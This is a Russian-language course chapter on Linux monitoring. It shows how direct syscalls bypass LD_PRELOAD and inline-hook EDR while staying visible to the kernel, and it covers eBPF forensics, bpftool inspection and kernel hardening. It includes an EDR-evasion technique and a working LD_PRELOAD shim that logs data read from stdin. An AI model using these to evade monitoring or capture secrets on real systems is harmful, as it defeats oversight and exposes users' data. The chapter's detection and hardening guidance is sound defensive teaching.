Большинство систем защиты рабочих станций (EDR) и программ мониторинга для Linux функционируют в пространстве пользователя. Они используют один из двух методов перехвата 1:

  1. Динамическая подмена (shim): использование переменной окружения LD_PRELOAD или конфигурационного файла /etc/ld.so.preload для подмены функций libc (read, connect, execve).
  2. Патчинг в памяти (Inline Hooking): модификация пролога функции в оперативной памяти процесса — первые 5 байт библиотечной функции перезаписываются инструкцией безусловного перехода jmp на инспекционный обработчик защитного агента.

Когда приложение вызывает read(0, buf, size), управление попадает в обработчик EDR. Агент безопасности анализирует аргументы, проверяет контекст выполнения и принимает решение о блокировке или передаче управления оригинальному системному коду.

Почему прямые вызовы невидимы для библиотечных перехватов

Прямой системный вызов полностью ломает логику user-mode хукинга. Поскольку инструкция syscall выполняется непосредственно из сегмента кода исполняемого файла программы, поток управления вообще не обращается к библиотеке libc.so.6.

В таблице представлено поведение механизмов мониторинга при различных методах вызова:

Способ выполнения операцииВидимость для LD_PRELOADВидимость для Inline Hook libcВидимость для eBPF в ядреВидимость для strace
Стандартный read()ПерехватываетсяПерехватываетсяВиденВиден
syscall(SYS_read, ...)Обходит хукОбходит хукВиденВиден
Инлайн-ассемблер syscallОбходит хукОбходит хукВиденВиден

Таким образом, прямые системные вызовы гарантируют выполнение операции даже в том случае, если все разделяемые библиотеки в процессе были модифицированы или скомпрометированы средствами аудита пользовательского пространства 1.

Проверка на практике: три инструмента на одном бинарнике

Таблицу выше легко проверить, не полагаясь на веру. Соберём программу, которая читает из стандартного ввода двумя способами — через библиотечную обёртку и через syscall():

#define _GNU_SOURCE
#include <unistd.h>
#include <sys/syscall.h>
#include <stdio.h>

int main(void)
{
    char b[8];
    ssize_t n1 = read(0, b, sizeof b);              /* путь 1: libc */
    ssize_t n2 = syscall(SYS_read, 0, b, sizeof b); /* путь 2: напрямую */
    printf("%zd %zd\n", n1, n2);
    return 0;
}

Заголовок <sys/syscall.h> здесь обязателен: константа SYS_read определена в нём, а не в <unistd.h>. Без него компилятор выдаст «SYS_read не описан», и это первая ошибка, которую делает каждый.

Теперь ltrace, который перехватывает вызовы разделяемых библиотек:

printf 'ab\n' | ltrace -e 'read+syscall' ./cmp
cmp->read(0, "ab\n", 8)                          = 3
cmp->syscall(0, 0, 0x7ffd32fa2440, 8)            = 0

Видно ровно то, что и должно быть видно: read показан с аргументами и результатом, а syscall — как непрозрачный вызов с номером 0 в первом аргументе. ltrace не знает, что номер 0 означает read: для него это просто число. Первый вывод: библиотечный трассировщик видит обёртку, но не видит смысла прямого вызова.

Тот же бинарник под strace, который работает через ptrace и системные вызовы:

printf 'ab\n' | strace -e trace=read ./cmp
read(0, "ab\n", 8)                      = 3
read(0, "", 8)                          = 0

Обе операции выглядят одинаково: два вызова read с одинаковыми аргументами. Для ядра разницы между путями нет вообще. Второй вывод: ядерный трассировщик видит оба пути и не может отличить их по сисколлу.

Третий инструмент — LD_PRELOAD-шим, который подменяет read и логирует чтение с дескриптора 0:

#define _GNU_SOURCE
#include <dlfcn.h>
#include <unistd.h>
#include <stdio.h>

ssize_t read(int fd, void *buf, size_t count)
{
    static ssize_t (*real)(int, void *, size_t) = NULL;
    if (!real)
        real = dlsym(RTLD_NEXT, "read");
    ssize_t n = real(fd, buf, count);
    if (fd == 0 && n > 0)
        fprintf(stderr, "[SHIM] fd=0 bytes=%zd data=\"%.*s\"\n",
                n, (int)(n > 32 ? 32 : n), (char *)buf);
    return n;
}
gcc -shared -fPIC -O1 -o shim.so shim.c -ldl
printf 'secret\n' | LD_PRELOAD=./shim.so ./cmp
[SHIM] fd=0 bytes=7 data="secret
"
7 0

Шим сработал на первом read — библиотечном — и промолчал на втором, прямом. Обратите внимание на результат 7 0: первый вызов прочитал все семь байт, второй получил 0, то есть конец файла. Данные ушли в первый вызов, и шим их увидел; второй вызов был пустым.

Чтобы картина была полной, применим тот же шим к статическому бинарнику без libc:

LD_PRELOAD=./shim.so ./naked
naked binary: no libc, no hooks

Ни одной строки [SHIM]. Подмены нет не потому, что программа «защитилась», а потому, что подменять нечего: в файле нет таблицы импорта, и LD_PRELOAD не к чему применить. Третий вывод: чем меньше в программе пользовательской библиотеки, тем меньше в ней точек перехвата.

Ограничения обхода: почему вызовы не скрыть от ядра

Несмотря на эффективность против EDR в user-space, прямой системный вызов невозможно скрыть от подсистем ядра Linux. Независимо от того, откуда была выполнена инструкция syscall — из библиотеки libc или из рукописного ассемблерного блока — процессор неизбежно переключается в ring0 и выполняет обработчик ядра entry_SYSCALL_64 2.

В этот момент активируются статические точки трассировки tracepoint:syscalls:sys_enter_* и подсистема eBPF. Для ядра не имеет значения, какой путь прошла программа до выполнения инструкции syscall: аргументы в регистрах RAX, RDI, RSI считываются одинаково надёжно.

Обнаружение eBPF-шпионов и форензика ядра

Что администратор видит до всяких утилит

Прежде чем запускать bpftool, полезно понять, какие следы присутствия eBPF вообще существуют на голой системе. Их немного, и они устойчивы.

Счётчик символов в kallsyms. Каждая JIT-скомпилированная программа получает в таблице символов ядра имя вида bpf_prog_<тег>. Символы присутствуют всегда, даже когда адреса скрыты:

grep -c 'bpf_prog_' /proc/kallsyms
grep -E ' (__x64_sys_bpf|entry_SYSCALL_64)$' /proc/kallsyms
471
0000000000000000 T entry_SYSCALL_64
0000000000000000 T __x64_sys_bpf

Читается так: в этом ядре 471 символ с префиксом bpf_prog_ — это встроенные программы подсистем (cgroup, bpfilter, трассировщики perf), а не чьи-то шпионы. Адреса нулевые, потому что kptr_restrict не равен нулю и у процесса нет прав: таблица символов отдаётся без адресов. Практический вывод: считать символы бессмысленно, их всегда сотни. Искать надо аномалию — например, программу с тегом, которая появилась между двумя снимками kallsyms и не соответствует ни одному пакету.

Состояние подсистемы. Четыре параметра описывают, насколько eBPF вообще открыт на этой машине:

for f in kernel.unprivileged_bpf_disabled net.core.bpf_jit_enable \
         kernel.perf_event_paranoid; do
    printf '%s = %s\n' "$f" "$(cat /proc/sys/$(echo $f | tr . /))"
done
kernel.unprivileged_bpf_disabled = 2
net.core.bpf_jit_enable = 1
kernel.perf_event_paranoid = 2

Разбор: unprivileged_bpf_disabled = 2 — загрузка eBPF запрещена всем, кроме процессов с CAP_BPF, и параметр нельзя вернуть в 0 без перезагрузки (только 1 или 2). bpf_jit_enable = 1 — JIT включён, программы компилируются в машинный код. perf_event_paranoid = 2 — непривилегированный perf не может создавать большинство событий, что закрывает и perf_event_open как путь к привязке.

Четвёртый параметр, bpf_jit_harden, в этот список не попал намеренно: у него права 0600, и непривилегированный процесс получает отказ в доступе, а не значение. Для снимка состояния это важно различать: «параметр скрыт» и «параметр равен нулю» — разные факты, и второй из первого не следует.

Режим блокировки. Отдельный механизм, который запрещает kprobe целиком:

cat /sys/kernel/security/lockdown 2>/dev/null
[none] integrity confidentiality

В квадратных скобках — активный режим. [none] означает, что блокировки нет: kprobe разрешены. В режиме confidentiality ядро отказывает в привязке kprobe и в чтении памяти ядра, и половина приёмов этой темы перестаёт работать даже у суперпользователя 8.

Права процесса. Самая частая причина, по которой «ничего не работает»:

grep -E 'Cap(Eff|Bnd)' /proc/self/status
CapEff:	0000000000000000
CapBnd:	0000000000000000

Пустые наборы означают, что у процесса нет ни одной возможности, включая CAP_BPF и CAP_SYS_ADMIN. В такой оболочке не запустится ни bpftrace, ни bpftool, ни собственный загрузчик программ:

bpftrace -e 'tracepoint:syscalls:sys_enter_read { printf("x\n"); }'
ERROR: Missing CAP_DAC_READ_SEARCH capability, please run bpftrace as the root user.

Это не ошибка установки и не баг: bpftrace честно сообщает, что для доступа к tracefs и загрузки программ нужны права. Именно поэтому все эксперименты с загрузкой eBPF в этой теме выполняются в виртуальной машине с полными правами, а на рабочей системе проверяются только наблюдаемые параметры.

Инспекция загруженных программ через bpftool

Поскольку eBPF работает в ядре, администратор системы располагает штатными средствами аудита для выявления несанкционированных трейсеров. Основной утилитой для управления подсистемой BPF в дистрибутивах Linux является bpftool 3.

Схема аудита ядра администратором приведена на рисунке 3.

Схема аудита eBPF через bpftool
Рисунок 3. Модель инспекции программ eBPF и связанных карт памяти

Выведем список всех загруженных в ядро программ eBPF с помощью команды bpftool prog show. Пример вывода:

sudo bpftool prog show
124: tracepoint  name sys_enter_read  tag 8f4a13b0c41189a1  gpl
	loaded_at 2026-10-19T14:15:20+0000  uid 0
	xlated 144B  jited 96B  memlock 4096B  map_ids 42
125: tracepoint  name sys_exit_read   tag 1c890abf44ef2281  gpl
	loaded_at 2026-10-19T14:15:20+0000  uid 0
	xlated 216B  jited 136B  memlock 4096B  map_ids 42

В выводе команды отражаются ключевые характеристики программы:

  • Числовой идентификатор ID программы (124, 125);
  • Тип программы (tracepoint, kprobe);
  • Имя программы и её криптографический тег байткода tag;
  • Идентификаторы ассоциированных карт памяти (map_ids 42).

Инспекция карт памяти позволяет обнаружить буферы, в которые шпион накапливает перехваченную информацию. Пример вывода:

sudo bpftool map show id 42
42: hash  name buffers  flags 0x0
	key_size 4B  value_size 8B  max_entries 10240  memlock 823296B

Файловая система /sys/fs/bpf и закрепление программ

В штатном режиме программа eBPF выгружается из ядра автоматически, как только закрывается последний дескриптор файла процесса, создавшего её (например, при завершении скрипта bpftrace).

Чтобы обеспечить долговременное присутствие (персистентность) без работающего процесса в user-space, программы привязывают (англ. pinning) к специальной псевдофайловой системе bpf, монтируемой в /sys/fs/bpf 2. Проверить наличие закреплённых объектов можно стандартными командами:

ls -la /sys/fs/bpf
total 0
drwxr-xr-x 2 root root 0 Oct 19 14:00 .
drwxr-xr-x 9 root root 0 Oct 19 14:00 ..
-rw------- 1 root root 0 Oct 19 14:10 tracer_prog
-rw------- 1 root root 0 Oct 19 14:10 stolen_keys_map

Обнаружение посторонних объектов в каталоге /sys/fs/bpf является прямым индикатором компрометации (IoC) системы на уровне ядра 3.

Защита ядра: блокировка bpf без привилегий и lockdown

Для предотвращения несанкционированного использования eBPF в операционных системах Linux предусмотрен комплекс защитных мер 8:

  1. Запрет непривилегированного BPF: системный параметр kernel.unprivileged_bpf_disabled запрещает вызов bpf() процессам без прав CAP_BPF или CAP_SYS_ADMIN:
sudo sysctl -w kernel.unprivileged_bpf_disabled=1
kernel.unprivileged_bpf_disabled = 1

Значение 2 (как на машине, где снимались измерения выше) означает, что параметр зафиксирован до перезагрузки и не может быть ослаблен обратно в 0 — только 1 или 2. Это важно: атакующий с временным root не сможет «вернуть как было» одним sysctl -w.

  1. JIT Hardening: параметр net.core.bpf_jit_harden=2 включает «затвердевание» машинного кода — константы заменяются на вычисляемые значения, что затрудняет поиск программ по байтовым сигнатурам и атаки класса JIT-spray. Настройка требует сборки ядра с соответствующей опцией; если параметра нет в /proc/sys/net/core, опция не включена.

  2. Режим Kernel Lockdown: в режиме lockdown=confidentiality ядро запрещает привязку kprobes и чтение памяти ядра даже суперпользователю. Проверяется чтением /sys/kernel/security/lockdown; активный режим выделен квадратными скобками.

  3. Изоляция прав: вместо CAP_SYS_ADMIN выдавать CAP_BPF и CAP_PERFMON — они покрывают загрузку программ и работу с perf, но не дают доступа к остальной административной поверхности. Для контейнеров — запрет CAP_BPF в профиле и no-new-privileges.

  4. Аудит загрузки программ: правило auditd на системный вызов bpf фиксирует каждый факт загрузки и привязки с указанием процесса и его прав:

sudo auditctl -a always,exit -F arch=b64 -S bpf -k bpf_load
sudo ausearch -k bpf_load -i | tail -20

Правило срабатывает на все команды bpf(), поэтому в журнале будут и легитимные вызовы системных служб. Практический приём — не читать журнал целиком, а искать записи, у которых comm не входит в белый список: bpftrace, systemd, NetworkManager, sshd и подобные.

Матрица «приём — признак — контрмера»

Сведём разобранные приёмы в одну таблицу. Она же — основа отчёта при разборе инцидента.

ПриёмЧто оставляет в системеЧем ловитсяЧем закрывается
tracepoint-сниффер readпрограмма eBPF с типом tracepoint, карта-накопительbpftool prog show, bpftool map dumpunprivileged_bpf_disabled=2, аудит bpf()
uprobe на readlineпрограмма с типом uprobe, привязка к inode библиотекиbpftool link list, perf probe -lте же меры плюс контроль целостности libreadline
Закреплённая программаобъект в /sys/fs/bpf с правами rootls -la /sys/fs/bpf, bpftool prog show pinnedмонтирование bpf с nosuid,nodev и контроль содержимого
Долгоживущая ссылкассылка без процесса-владельцаbpftool link list, сверка pid у ссылокBPF_LINK_DETACH, перезагрузка
Прямой syscall в бинарникенет импорта read в таблице символовnm -D, readelf -d, strace, eBPFseccomp, LSM, аудит сисколлов
Статический бинарник без libcldd сообщает «не динамический файл», NEEDED пустreadelf -d, file, контроль хешейбелые списки исполняемых файлов
kprobe-перехватмодифицированные байты функции ядра, запись в kallsymsсверка /proc/kallsyms до и после, perf probe -llockdown=confidentiality

Из таблицы видно главное: ни один приём не является невидимым. Прямые вызовы невидимы для библиотечных хуков, но видны ядру; eBPF-программы невидимы для процессов, но видны в подсистеме BPF. Разница только в том, кто именно смотрит и на каком уровне. Отсюда практическое правило защитника: смотреть надо не на процессы, а на подсистемы — на список программ, список ссылок, закреплённые объекты и журнал загрузки. И ещё одно: любое обнаружение опирается на снимок до инцидента. Без baseline список из 471 символа bpf_prog_ бесполезен, а с baseline появление нового тега между двумя снимками — готовый индикатор.

Итоги темы

В рамках данной темы было исследовано противостояние механизмов мониторинга и техник обхода на границе пространства пользователя и ядра Linux. Использование прямых системных вызовов позволяет приложениям полностью исключить обращение к разделяемым библиотекам, делая операции невидимыми для перехватчиков LD_PRELOAD и user-mode EDR. Архитектура x86_64 обеспечивает строгую конвенцию передачи параметров через регистры и атомарный переход в ring0 с помощью инструкции syscall.

Проверка на практике расставила границы этого обхода точнее, чем любая таблица: ltrace видит библиотечный read и не видит смысла в syscall(0, ...), strace видит оба вызова одинаково, а LD_PRELOAD-шим срабатывает на первом и молчит на втором. Статический бинарник без libc вообще не оставляет точки для подмены. Но ядро остаётся на месте: seccomp, auditd, LSM и eBPF-точки трассировки срабатывают ниже уровня пользователя, и обойти их прямым вызовом невозможно.

С другой стороны, подсистема eBPF предоставляет администраторам и исследователям мощный инструмент тотальной трассировки. Виртуальная машина с одиннадцатью регистрами и 512 байтами стека, верификатор, JIT-компиляция, карты и CO-RE превращают ядро в программируемую среду: программа на C, собранная clang и привязанная через BPF_LINK_CREATE, перехватывает ввод-вывод процессов, не оставляя следов в их адресном пространстве. При этом у приёма есть цена: программа живёт в подсистеме BPF и потому видна там, а bpftrace без CAP_BPF не запускается вовсе.

Форензик-анализ присутствия eBPF опирается на инспекцию ядра через bpftool, мониторинг файловой системы /sys/fs/bpf и аудит системных вызовов загрузки программ. В следующей теме рассматриваются техники непосредственной модификации оперативной памяти процессов и применение механизма ptrace для внедрения кода и извлечения конфиденциальных ключей.

Литература

  1. Kerrisk M. The Linux Programming Interface. — No Starch Press, 2010.
  2. The Linux man-pages project. — https://man7.org/linux/man-pages/
  3. Nemeth E., Snyder G., Hein T. R., Whaley B., Mackin D. UNIX and Linux System Administration Handbook. 5th ed. — Addison-Wesley, 2017.
  4. Raymond E. S. The Art of UNIX Programming. — Addison-Wesley, 2003. Открытая версия: http://www.catb.org/esr/writings/taoup/
  5. Free Software Foundation. GNU Bash Reference Manual. — https://www.gnu.org/software/bash/manual/
  6. Gregg B. BPF Performance Tools. — Addison-Wesley, 2019.
  7. Bovet D. P., Cesati M. Understanding the Linux Kernel. 3rd ed. — O'Reilly Media, 2005.
  8. Linux Kernel Documentation. — https://docs.kernel.org/